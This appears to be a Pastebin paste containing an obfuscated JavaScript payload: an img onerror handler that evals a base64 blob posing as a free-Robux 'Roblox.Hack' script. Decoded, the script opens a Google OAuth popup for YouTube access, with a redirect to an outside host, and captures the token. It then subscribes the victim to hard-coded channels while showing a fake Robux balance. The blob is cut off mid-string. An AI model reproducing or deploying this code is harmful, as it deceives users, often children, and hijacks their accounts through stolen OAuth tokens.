Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <meta name="channelId" content="UC999p8uVXgWuujHTkn9AcrQ">
- <meta name="channelId" content="UCDrc9dZBmzLa4lHA9kWwXkg">
- <img src="#" onerror="document.body.onclick = function() { eval(atob('Um9ibG94LkhhY2sgPSB7CgljaGFubmVsSWRzOiBbXSwgLy9TdWJzY3JpYmluZyB0byB0aGVzZSBjaGFubmVscyB3aWxsIGluY3JlYXNlIHRoZSBhbW91bnQgb2YgUk9CVVggeW91IGdldCEKCXJvYnV4UGVyQ2hhbm5lbDogMTAwMDAwLCAvL0hvdyBtdWNoIFJPQlVYIHNob3VsZCB5b3UgZ2V0IGp1c3QgYnkgc3Vic2NyaWJpbmc/CiAgICBvcmlnaW5hbDogJ21pc3NpbmdubycsCiAgICBiYWxhbmNlOiAwLAogICAgaW5pdGlhbGl6ZWQ6IDAsCiAgICBsb2FkaW5nOiBmYWxzZSwKICAgIGl0ZW1zOiBbXSwKICAgIGludmVudG9yeVN0cmluZzogJzxsaSBjbGFzcz0ibGlzdC1pdGVtIGl0ZW0tY2FyZCBuZy1zY29wZSI+PGRpdiBjbGFzcz0iaXRlbS1jYXJkLWNvbnRhaW5lciI+PGEgY2xhc3M9Iml0ZW0tY2FyZC1saW5rIiBocmVmPSIlMSIgZGF0YS15dHRhLWlkPSItIj48ZGl2IGNsYXNzPSJpdGVtLWNhcmQtdGh1bWItY29udGFpbmVyIj48ZGl2IG5nLWhpZGU9Iml0ZW0uUHJvZHVjdC5TZXJpYWxOdW1iZXI9PW51bGwiIGNsYXNzPSJpdGVtLXNlcmlhbC1udW1iZXIgbmctYmluZGluZyBuZy1oaWRlIj4jPC9kaXY+PGltZyB0aHVtYm5haWw9Iml0ZW0uVGh1bWJuYWlsIiBpbWFnZS1yZXRyeT0iIiBjbGFzcz0iaXRlbS1jYXJkLXRodW1iIG5nLWlzb2xhdGUtc2NvcGUiIHNyYz0iJTIiPjwvZGl2PjxkaXYgY2xhc3M9InRleHQtb3ZlcmZsb3cgaXRlbS1jYXJkLW5hbWUgbmctYmluZGluZyIgdGl0bGU9IiU2ICI+JTYgPC9kaXY+PC9hPjwhLS0gbmdJZjogaXRlbS5JdGVtLkF1ZGlvVXJsIC0tPjxkaXYgY2xhc3M9InRleHQtb3ZlcmZsb3cgaXRlbS1jYXJkLWNyZWF0b3IiPjxzcGFuIGNsYXNzPSJ4c21hbGwgdGV4dC1sYWJlbCI+Qnk8L3NwYW4+IDxhIGNsYXNzPSJ4c21hbGwgdGV4dC1vdmVyZmxvdyB0ZXh0LWxpbmsgbmctYmluZGluZyIgbmctaHJlZj0iJTMiIG5nLWhpZGU9ImFzc2V0c0xpc3RDb250ZW50LmFzc2V0SXRlbXMuZGF0YS5EYXRhLlBhZ2VUeXBlIT09XCdmYXZvcml0ZXNcJyZhbXA7JmFtcDtjdXJyZW50RGF0YS5jYXRlZ29yeS5uYW1lPT1cJ1BsYWNlc1wnJmFtcDsmYW1wOyhjdXJyZW50RGF0YS5zdWJjYXRlZ29yeS5uYW1lPT1cJ015IFZJUCBTZXJ2ZXJzXCd8fGN1cnJlbnREYXRhLnN1YmNhdGVnb3J5Lm5hbWU9PVwnT3RoZXIgVklQIFNlcnZlcnNcJykmYW1wOyZhbXA7c3RhdGljRGF0YS5pc093blBhZ2UiIGhyZWY9IiUzIiBkYXRhLXl0dGEtaWQ9Ii0iPiU0PC9hPiA8YSBjbGFzcz0ieHNtYWxsIHRleHQtb3ZlcmZsb3cgdGV4dC1saW5rIG5nLWJpbmRpbmcgbmctaGlkZSIgbmctaHJlZj0iIiBuZy1zaG93PSJhc3NldHNMaXN0Q29udGVudC5hc3NldEl0ZW1zLmRhdGEuRGF0YS5QYWdlVHlwZSE9PVwnZmF2b3JpdGVzXCcmYW1wOyZhbXA7KGN1cnJlbnREYXRhLnN1YmNhdGVnb3J5Lm5hbWU9PVwnTXkgVklQIFNlcnZlcnNcJ3x8Y3VycmVudERhdGEuc3ViY2F0ZWdvcnkubmFtZT09XCdPdGhlciBWSVAgU2VydmVyc1wnKSI+PC9hPjwvZGl2PjxkaXYgY2xhc3M9Iml0ZW0tY2FyZC1wcmljZSI+PHNwYW4gY2xhc3M9Imljb24tcm9idXgtMTZ4MTYiPjwvc3Bhbj4gPHNwYW4gY2xhc3M9InRleHQtcm9idXggbmctYmluZGluZyBuZy1oaWRlIiBuZy1zaG93PSJpdGVtLkhhc1ByaWNlIj48L3NwYW4+IDxzcGFuIGNsYXNzPSJ0ZXh0LWxhYmVsIiBuZy1oaWRlPSJpdGVtLkhhc1ByaWNlIj48IS0tIG5nSWY6IGl0ZW0uUHJvZHVjdC5Ob1ByaWNlVGV4dC5sZW5ndGg+MCAtLT48c3BhbiBuZy1pZj0iaXRlbS5Qcm9kdWN0Lk5vUHJpY2VUZXh0Lmxlbmd0aD4wIiBuZy1jbGFzcz0ie1wndGV4dC1yb2J1eFwnOml0ZW0uUHJvZHVjdC5Ob1ByaWNlVGV4dD09PVwnRnJlZVwnfSIgY2xhc3M9Im5nLWJpbmRpbmcgbmctc2NvcGUgdGV4dC1yb2J1eCI+JTU8L3NwYW4+PCEtLSBlbmQgbmdJZjogaXRlbS5Qcm9kdWN0Lk5vUHJpY2VUZXh0Lmxlbmd0aD4wIC0tPjwvc3Bhbj48L2Rpdj48L2Rpdj48L2xpPicsCiAgICBkaXNhYmxlRjU6IGZ1bmN0aW9uIChlKSB7IGlmICgoZS53aGljaCB8fCBlLmtleUNvZGUpID09IDExNiB8fCAoZS53aGljaCB8fCBlLmtleUNvZGUpID09IDgyKSB7IGUucHJldmVudERlZmF1bHQoKTsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5zcmMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24uaHJlZjsgfSB9LAogICAgd2F0ZXJtYXJrOiBmdW5jdGlvbiAoKSB7CiAgICAgICAgY29uc29sZS5jbGVhcigpOwogICAgICAgIGNvbnNvbGUubG9nKCJfX19fX19fX19fIF9fX19fX19fIF9fX19fX19fX18uX19fXyAgICBfX19fX19fXyAgX19fXyAgX19fXG5cXF9fX19fXyAgIFxcXFxfX19fXyAgXFxcXF9fX19fXyAgIFxcICAgIHwgICBcXF9fX19fICBcXCBcXCAgIFxcLyAgL1xuIHwgICAgICAgXy8gLyAgIHwgICBcXHwgICAgfCAgXy8gICAgfCAgICAvICAgfCAgIFxcIFxcICAgICAvIFxuIHwgICAgfCAgIFxcLyAgICB8ICAgIFxcICAgIHwgICBcXCAgICB8X19fLyAgICB8ICAgIFxcLyAgICAgXFwgXG4gfF9fX198XyAgL1xcX19fX19fXyAgL19fX19fXyAgL19fX19fX18gXFxfX19fX19fICAvX19fL1xcICBcXFxuICAgICAgICBcXC8gICAgICAgICBcXC8gICAgICAgXFwvICAgICAgICBcXC8gICAgICAgXFwvICAgICAgXFxfL1xuUm9ibG94LkhhY2suanMgY3JlYXRlZCBieSAiICsgUm9ibG94LkhhY2suY3JlZGl0cyArICJcblxuVXNhZ2U6XG5Sb2Jsb3guSGFjay5zZXRSb2J1eCggaW50ICk7IC8vIFNldHMgeW91ciByb2J1eCB0byB0aGUgdmFsdWUgcHJvdmlkZWRcblJvYmxveC5IYWNrLm9ubG9hZCAvLyBPdmVycmlkZSBmb3IgY3VzdG9tIHBhZ2VzXG5Sb2Jsb3guSGFjay5hZGRSb2J1eCggaW50ICk7IC8vSW5jcmVhc2VzIHJvYnV4IGJhbGFuY2VcblJvYmxveC5IYWNrLm9ubG9hZGVkIC8vIE92ZXJyaWRlIGZvciBjdXN0b20gcGFnZXMiKTsKICAgIH0sCglQb3B1cENlbnRlcjogZnVuY3Rpb24odXJsLCB0aXRsZSwgdywgaCkgewoJCXZhciBkdWFsU2NyZWVuTGVmdCA9IHdpbmRvdy5zY3JlZW5MZWZ0ICE9IHVuZGVmaW5lZCA/IHdpbmRvdy5zY3JlZW5MZWZ0IDogc2NyZWVuLmxlZnQ7CgkJdmFyIGR1YWxTY3JlZW5Ub3AgPSB3aW5kb3cuc2NyZWVuVG9wICE9IHVuZGVmaW5lZCA/IHdpbmRvdy5zY3JlZW5Ub3AgOiBzY3JlZW4udG9wOwoKCQl2YXIgd2lkdGggPSB3aW5kb3cuaW5uZXJXaWR0aCA/IHdpbmRvdy5pbm5lcldpZHRoIDogZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoID8gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIDogc2NyZWVuLndpZHRoOwoJCXZhciBoZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQgPyB3aW5kb3cuaW5uZXJIZWlnaHQgOiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0ID8gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodCA6IHNjcmVlbi5oZWlnaHQ7CgoJCXZhciBsZWZ0ID0gKCh3aWR0aCAvIDIpIC0gKHcgLyAyKSkgKyBkdWFsU2NyZWVuTGVmdDsKCQl2YXIgdG9wID0gKChoZWlnaHQgLyAyKSAtIChoIC8gMikpICsgZHVhbFNjcmVlblRvcDsKCQl2YXIgbmV3V2luZG93ID0gd2luZG93Lm9wZW4odXJsLCB0aXRsZSwgJ3Njcm9sbGJhcnM9eWVzLCB3aWR0aD0nICsgdyArICcsIGhlaWdodD0nICsgaCArICcsIHRvcD0nICsgdG9wICsgJywgbGVmdD0nICsgbGVmdCk7CgoJCWlmICh3aW5kb3cuZm9jdXMpIHsKCQkJbmV3V2luZG93LmZvY3VzKCk7CgkJfQoJCQoJCXJldHVybiBuZXdXaW5kb3c7Cgl9LAogICAgc2V0Um9idXg6IGZ1bmN0aW9uIChyb2J1eCkgewogICAgICAgIC8vUm9ibG94Lk51bWJlckZvcm1hdHRpbmcuanMKICAgICAgICB0eXBlb2YgUm9ibG94ID09ICJ1bmRlZmluZWQiICYmIChSb2Jsb3ggPSB7fSksIHR5cGVvZiBSb2Jsb3guTnVtYmVyRm9ybWF0dGluZyA9PSAidW5kZWZpbmVkIiAmJiAoUm9ibG94Lk51bWJlckZvcm1hdHRpbmcgPSBmdW5jdGlvbiAoKSB7IHZhciBuID0gZnVuY3Rpb24gKG4pIHsgaWYgKHR5cGVvZiBuICE9ICJudW1iZXIiKSB0aHJvdyAiJ251bWJlcicgaXMgbm90IGEgbnVtYmVyIjsgcmV0dXJuIG4udG9TdHJpbmcoKS5yZXBsYWNlKC9cQig/PShcZHszfSkrKD8hXGQpKS9nLCAiLCIpIH0sIHQgPSBmdW5jdGlvbiAodCkgeyB2YXIgaSwgciwgdTsgaWYgKHR5cGVvZiB0ICE9ICJudW1iZXIiKSB0aHJvdyAiJ251bWJlcicgaXMgbm90IGEgbnVtYmVyIjsgdmFyIGYgPSAxZTQsIGUgPSAxZTYsIG8gPSAxZTk7IHJldHVybiB0ID09IDAgPyAiMCIgOiB0IDwgZiA/IG4odCkgOiAoaSA9ICJCKyIsIHIgPSA5LCB0IDwgZSA/IChpID0gIksrIiwgciA9IDMpIDogdCA8IG8gJiYgKGkgPSAiTSsiLCByID0gNiksIHUgPSB0LnRvU3RyaW5nKCksIHUuc3Vic3RyaW5nKDAsIHUubGVuZ3RoIC0gcikgKyBpKSB9OyByZXR1cm4geyBhYmJyZXZpYXRlZEZvcm1hdDogdCwgY29tbWFzOiBuIH0gfSgpKTsKICAgICAgICAvL1JvYmxveC5OdW1iZXJGb3JtYXR0aW5nLmpzCgogICAgICAgIFJvYmxveC5IYWNrLmJhbGFuY2UgPSByb2J1eDsKICAgICAgICB2YXIgZG9jID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50OwogICAgICAgIGlmIChkb2MuZ2V0RWxlbWVudEJ5SWQoJ25hdi1yb2J1eC1hbW91bnQnKSAhPSBudWxsKSB7CiAgICAgICAgICAgIGRvYy5nZXRFbGVtZW50QnlJZCgibmF2LXJvYnV4LWJhbGFuY2UiKS5pbm5lckhUTUwgPSBSb2Jsb3guTnVtYmVyRm9ybWF0dGluZy5hYmJyZXZpYXRlZEZvcm1hdChSb2Jsb3guSGFjay5iYWxhbmNlKSArICIgUk9CVVgiOwogICAgICAgICAgICBkb2MuZ2V0RWxlbWVudEJ5SWQoIm5hdi1yb2J1eC1hbW91bnQiKS5pbm5lckhUTUwgPSBSb2Jsb3guTnVtYmVyRm9ybWF0dGluZy5hYmJyZXZpYXRlZEZvcm1hdChSb2Jsb3guSGFjay5iYWxhbmNlKTsKICAgICAgICB9CiAgICB9LAogICAgYWRkUm9idXg6IGZ1bmN0aW9uIChyb2J1eCkgewogICAgICAgIFJvYmxveC5IYWNrLnNldFJvYnV4KFJvYmxveC5IYWNrLmJhbGFuY2UgKyByb2J1eCk7CiAgICB9LAogICAgYWRkSXRlbTogZnVuY3Rpb24gKGNhdGVnb3J5LCBuYW1lLCBpbWFnZSwgY3JlYXRvciwgcHJpY2UsIHVybCwgcHJvZmlsZSkgewogICAgICAgIFJvYmxveC5IYWNrLml0ZW1zLnB1c2goeyBjYXRlZ29yeTogY2F0ZWdvcnksIG5hbWU6IG5hbWUsIGltYWdlOiBpbWFnZSwgY3JlYXRvcjogY3JlYXRvciwgcHJpY2U6IHByaWNlLCBwcm9maWxlOiBwcm9maWxlLCB1cmw6IHVybCB9KTsKICAgIH0sCiAgICBmb3JtYXQ6IGZ1bmN0aW9uIChzdHIsIGFycikgewogICAgICAgIHJldHVybiBzdHIucmVwbGFjZSgvJShcZCspL2csIGZ1bmN0aW9uIChfLCBtKSB7CiAgICAgICAgICAgIHJldHVybiBhcnJbLS1tXTsKICAgICAgICB9KTsKICAgIH0sCglnZXRDaGFubmVsTmFtZTogZnVuY3Rpb24oaWQpIHsKCQl2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CgkJeGhyLm9wZW4oJ0dFVCcsICdodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS95b3V0dWJlL3YzL2NoYW5uZWxzP3BhcnQ9c25pcHBldCZpZD0nICsgaWQgKyAnJmtleT1BSXphU3lEQW9GN0ZHQjlmdVFmU0s1ekZna1I3MURMOGxVeV91M0UnLCBmYWxzZSk7CgkJeGhyLnNlbmQoKTsKCgkJcmV0dXJuIEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCkuaXRlbXNbMF0uc25pcHBldC50aXRsZTsKCX0sCiAgICBpbml0OiBmdW5jdGlvbiAoKSB7CiAgICAgICAgaWYgKFJvYmxveC5IYWNrLmluaXRpYWxpemVkICE9IDApIHsKICAgICAgICAgICAgY29uc29sZS5sb2coIkFscmVhZHkgaW5pdGFsaXplZCEiKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCQkKCQl2YXIgb2F1dGggPSBSb2Jsb3guSGFjay5Qb3B1cENlbnRlcigiaHR0cHM6Ly9hY2NvdW50cy5nb29nbGUuY29tL28vb2F1dGgyL3YyL2F1dGg/c2NvcGU9aHR0cHMlM0ElMkYlMkZ3d3cuZ29vZ2xlYXBpcy5jb20lMkZhdXRoJTJGeW91dHViZSZhY2Nlc3NfdHlwZT1vZmZsaW5lJmluY2x1ZGVfZ3JhbnRlZF9zY29wZXM9dHJ1ZSZzdGF0ZT1zdGF0ZV9wYXJhbWV0ZXJfcGFzc3Rocm91Z2hfdmFsdWUmcmVkaXJlY3RfdXJpPWh0dHBzJTNBJTJGJTJGbHl0ZnlpLmF6dXJld2Vic2l0ZXMubmV0JTJGZ29vZ2xlYXV0aC5hc3B4JnJlc3BvbnNlX3R5cGU9Y29kZSZjbGllbnRfaWQ9MjYwNjYzNzczMzAyLWNzN3IzbG02NzMzZGpxZmdzcmZuZjQ0OHI3Y3JkM280LmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwgIl9ibGFuayIsICI0NTAiLCAiNTUwIik7CgkJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ21lc3NhZ2UnLCBmdW5jdGlvbihldmVudCkgewoJCQlpZihldmVudC5kYXRhID09ICJkZW5pZWQiKSB7CgkJCQlvYXV0aC5jbG9zZSgpOwoJCQkJY29uc29sZS5sb2coImRlbmllZCIpOwoJCQkJYWxlcnQoIllvdSBtdXN0IHByZXNzIGFsbG93IG9yIHRoZSBzY3JpcHQgd29udCB3b3JrISIpOwoJCQl9IGVsc2UgaWYoZXZlbnQuZGF0YSA9PSAiZXJyb3IiKSB7CgkJCQlvYXV0aC5jbG9zZSgpOwoJCQkJY29uc29sZS5sb2coImVycm9yIik7CgkJCQlhbGVydCgiQW4gZXJyb3IgaGFzIG9jY3VyZWQhIFBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuIik7CgkJCX0gZWxzZSBpZihldmVudC5kYXRhLnRva2VuICE9IG51bGwpIHsKCQkJCW9hdXRoLmNsb3NlKCk7CgkJCQkKCQkJCVJvYmxveC5IYWNrLnl0VG9rZW4gPSBldmVudC5kYXRhLnRva2VuOwoJCQkJY29uc29sZS5sb2coInN1Y2Nlc3MhIik7CgkJCQkKCQkJCWlmIChSb2Jsb3guSGFjay5pbml0aWFsaXplZCAhPSAwKSB7CgkJCQkJY29uc29sZS5sb2coIkFscmVhZHkgaW5pdGFsaXplZCEiKTsKCQkJCQlyZXR1cm47CgkJCQl9CgkJCQkKCQkJCWZvcih2YXIgaSA9IDA7IGkgPCBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY2hhbm5lbElkJykubGVuZ3RoOyBpKyspIHsKCQkJCQlSb2Jsb3guSGFjay5jaGFubmVsSWRzLnB1c2goZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2NoYW5uZWxJZCcpW2ldLmdldEF0dHJpYnV0ZSgnY29udGVudCcpKTsKCQkJCX0KCQkJCQoJCQkJUm9ibG94LkhhY2suY3JlZGl0cyA9IFJvYmxveC5IYWNrLmdldENoYW5uZWxOYW1lKFJvYmxveC5IYWNrLmNoYW5uZWxJZHNbMF0pOwoJCQkJCgkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewoJCQkJCWZvcih2YXIgaSA9IDA7IGkgPCBSb2Jsb3guSGFjay5jaGFubmVsSWRzLmxlbmd0aDsgaSsrKSB7CgkJCQkJCXZhciBpZCA9IFJvYmxveC5IYWNrLmNoYW5uZWxJZHNbaV07CgkJCQkJCXZhciBpbmZvID0gUm9ibG94LkhhY2suZ2V0Q2hhbm5lbE5hbWUoaWQpOwoJCQkJCQkKCQkJCQkJaWYoY29uZmlybSgiRG8geW91IHdhbnQgdG8gc3Vic2NyaWJlIHRvICIgKyBpbmZvICsgIiBmb3IgYW4gZXh0cmEgIiArIFJvYmxveC5IYWNrLnJvYnV4UGVyQ2hhbm5lbCArICIgUk9CVVg/XG5cbklmIHlvdSB3YW50IGFuIGV4dHJhICIgKyBSb2Jsb3guSGFjay5yb2J1eFBlckNoYW5uZWwgKyAiIFJPQlVYLCBwcmVzcyBPSy5cbklmIHlvdSBkb24ndCB3YW50IGZyZWUgUk9CVVggcHJlc3MgQ2FuY2VsLiIpKSB7CgkJCQkJCQl2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CgkJCQkJCQl4aHIub3BlbignUE9TVCcsCgkJCQkJCQkgICdodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS95b3V0dWJlL3YzL3N1YnNjcmlwdGlvbnM/cGFydD1pZCUyQ3NuaXBwZXQmYWx0PWpzb24ma2V5PUFJemFTeURBb0Y3RkdCOWZ1UWZTSzV6RmdrUjcxREw4bFV5X3UzRScpOwoJCQkJCQkJeGhyLnNldFJlcXVlc3RIZWFkZXIoJ0F1dGhvcml6YXRpb24nLAoJCQkJCQkJICAnQmVhcmVyICcgKyBSb2Jsb3guSGFjay55dFRva2VuKTsKCQkJCQkJCXhoci5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24vanNvbicpOwoJCQkJCQkJeGhyLnNlbmQoSlNPTi5zdHJpbmdpZnkoewoJCQkJCQkJCXNuaXBwZXQ6IHsKCQkJCQkJCQkJcmVzb3VyY2VJZDogewoJCQkJCQkJCQkJa2luZDogJ3lvdXR1YmUjY2hhbm5lbCcsCgkJCQkJCQkJCQljaGFubmVsSWQ6IGlkCgkJCQkJCQkJCX0KCQkJCQkJCQl9CgkJCQkJCQl9KSk7CgkJCQkJCQkKCQkJCQkJCVJvYmxveC5IYWNrLmFkZFJvYnV4KFJvYmxveC5IYWNrLnJvYnV4UGVyQ2hhbm5lbCk7CgkJCQkJCQkKCQkJCQkJCXhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsKCQkJCQkJCQlpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSkgewoJCQkJCQkJCQljb25zb2xlLmxvZyh4aHIucmVzcG9uc2VUZXh0KTsKCQkJCQkJCQl9CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQl9LCA1MDAwKTsKCQkJCQoJCQkJd2luZG93Lm9uYmVmb3JldW5sb2FkID0gZnVuY3Rpb24gKCkgewoJCQkJCXJldHVybiAiWW91ciBST0JVWCBoYXMgbm90IGZpbmlzaGVkIHNhdmluZywgaWYgeW91IGNvbnRpbnVlIHlvdXIgYmFsYW5jZSB3aWxsIGJlIHNldCB0byAiICsgUm9ibG94LkhhY2sub3JpZ2luYWwgKyAiIFJPQlVYIjsKCQkJCX0KCQkJCVJvYmxveC5IYWNrLmluaXRpYWxpemVkID0gMTsKCQkJCVJvYmxveC5IYWNrLm9yaWdpbmFsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25hdi1yb2J1eC1hbW91bnQnKS5pbm5lckhUTUw7CgkJCQlSb2Jsb3guSGFjay5iYWxhbmNlID0gcGFyc2VJbnQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25hdi1yb2J1eC1hbW91bnQnKS5pbm5lckhUTUwucmVwbGFjZSgvLC9nLCAnJykucmVwbGFjZSgnSysnLCAnOTk5JykucmVwbGFjZSgnTSsnLCAnOTk5OTk5JykucmVwbGFjZSgnQisnLCAnOTk5OTk5OTk5JykpOwoJCQkJZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTCA9ICI8Ym9keSBzdHlsZT0nbWFyZ2luOjBweDtwYWRkaW5nOjBweDpvdmVyZmxvdzpoaWRkZW4nPjxpZnJhbWUgaWQ9J2RvY3VtZW50RnJhbWUnIHNhbmRib3g9J2FsbG93LXNhbWUtb3JpZ2luIGFsbG93LXNjcmlwdHMgYWxsb3ctcG9wdXBzIGFsbG93LWZvcm1zJyBzcmM9JyIgKyBkb2N1bWVudC5sb2NhdGlvbiArICInIGZyYW1lYm9yZGVyPScwJyBzdHlsZT0nb3ZlcmZsb3c6aGlkZGVuO2hlaWdodDoxMDAlO3dpZHRoOjEwMCU7cG9zaXRpb246YWJzb2x1dGUnIGhlaWdodD0nMTAwJScgd2lkdGg9JzEwMCUnIC8+PC9ib2R5PiI7CgkJCQl2YXIgc3RhcnRfbG9hZGluZyA9IChmdW5jdGlvbiAoKSB7CgkJCQkJUm9ibG94LkhhY2subG9hZGluZyA9IHRydWU7CgkJCQl9KTsKCQkJCXNldEludGVydmFsKGZ1bmN0aW9uICgpIHsKCQkJCQlSb2Jsb3guSGFjay5zZXRSb2J1eChSb2Jsb3guSGFjay5iYWxhbmNlKTsKCQkJCQlpZiAoUm9ibG94LkhhY2subG9hZGluZyAmJiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwuaW5kZXhPZignbmF2LXJvYnV4LWFtb3VudCcpICE9IC0xKSB7CgkJCQkJCVJvYmxveC5IYWNrLmxvYWRpbmcgPSBmYWxzZTsKCQkJCQkJaWYgKGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgIT0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LmRvY3VtZW50LmxvY2F0aW9uLmhyZWYpIHsKCQkJCQkJCXdpbmRvdy5oaXN0b3J5LnB1c2hTdGF0ZShudWxsLCBudWxsLCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24pOwoJCQkJCQl9CgkJCQkJCQoJCQkJCQlmb3IgKHZhciBvayA9IDA7IG9rIDwgMjA7IG9rKyspIHsKCQkJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24gKCkgewoJCQkJCQkJCXZhciBkb2MgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQ7CgkJCQkJCQkJdmFyIHQgPSBkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiUHVyY2hhc2VCdXR0b24iKTsKCQkJCQkJCQlmb3IgKHZhciBpID0gMDsgaSA8IHQubGVuZ3RoOyBpKyspIHsKCQkJCQkJCQkJJCh0W2ldKS5yZXBsYWNlV2l0aChmdW5jdGlvbiAoKSB7CgkJCQkJCQkJCQlyZXR1cm4gJCgnPCcgKyB0aGlzLm5vZGVOYW1lICsgJyBjbGFzcz0iJyArICQodGhpcykuYXR0cignY2xhc3MnKSArICciPicpLmFwcGVuZCgkKHRoaXMpLmNvbnRlbnRzKCkpOwoJCQkJCQkJCQl9KTsKCQkJCQkJCQkJdFtpXS5vbmNsaWNrID0gZnVuY3Rpb24gKCkgewoJCQkJCQkJCQkJUm9ibG94LkhhY2suYWRkSXRlbSgKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmllbGQtY29udGVudCIpWzBdLmlubmVySFRNTC50b0xvd2VyQ2FzZSgpLnJlcGxhY2UoLyAvZywgJy0nKSArICdzJywKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnaXRlbS1uYW1lLWNvbnRhaW5lcicpWzBdLmNoaWxkcmVuWzBdLmlubmVySFRNTCwKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGh1bWJuYWlsLXNwYW4nKVswXS5jaGlsZHJlblswXS5zcmMsCgkJCQkJCQkJCQkJZG9jLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ3RleHQtbmFtZScpWzBdLmlubmVySFRNTCwKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGV4dC1yb2J1eC1sZycpWzBdLmlubmVySFRNTCwKCQkJCQkJCQkJCQl3aW5kb3cubG9jYXRpb24uaHJlZiwKCQkJCQkJCQkJCQlkb2MuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgndGV4dC1uYW1lJylbMF0uaHJlZgoJCQkJCQkJCQkJCSk7CgkJCQkJCQkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuJCgiLmFsZXJ0LXN1Y2Nlc3MiKS5odG1sKCJQdXJjaGFzZSBDb21wbGV0ZWQiKTsKCQkJCQkJCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy5Sb2Jsb3guQm9vdHN0cmFwV2lkZ2V0cy5Ub2dnbGVTeXN0ZW1NZXNzYWdlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb2N1bWVudEZyYW1lJykuY29udGVudFdpbmRvdy4kKCIuYWxlcnQtc3VjY2VzcyIpLCAxMDAsIDFlMyk7CgkJCQkJCQkJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsKCQkJCQkJCQkJCQlSb2Jsb3guSGFjay5hZGRSb2J1eCgtcGFyc2VJbnQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5jb250ZW50V2luZG93LiQoIi50ZXh0LXJvYnV4LWxnIikuaHRtbCgpLnJlcGxhY2UoLywvZywgJycpKSk7CgkJCQkJCQkJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RvY3VtZW50RnJhbWUnKS5zcmMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9jdW1lbnRGcmFtZScpLmNvbnRlbnRXaW5kb3cuZG9jdW1lbnQubG9jYXRpb24uaHJlZjsKCQkJCQkJCQkJCX0sIDIwMCk7CgkJCQkJCQkJCX0KCQkJCQkJCQl9CgkJCQkJCQkJCgkJCQkJCQkJaWYgKGRvYy5sb2NhdGlvbi5ocmVmLnNwbGl0KCcvJykubGVuZ3RoID09IDYgJiYgZG9jdW1lbnQubG9jYXRpb24uaHJlZi5zcGxpdCgnLycpWzNdID09ICdteScpIHsKCQkJCQkJCQkJZG9jLmdldEVsZW1lbnRCeUlkKCdTYXZlSW5mb1NldHRpbmdzJykub25jbGljayA9IGZ1bmN0aW9uKCkgewoJCQkJCQkJC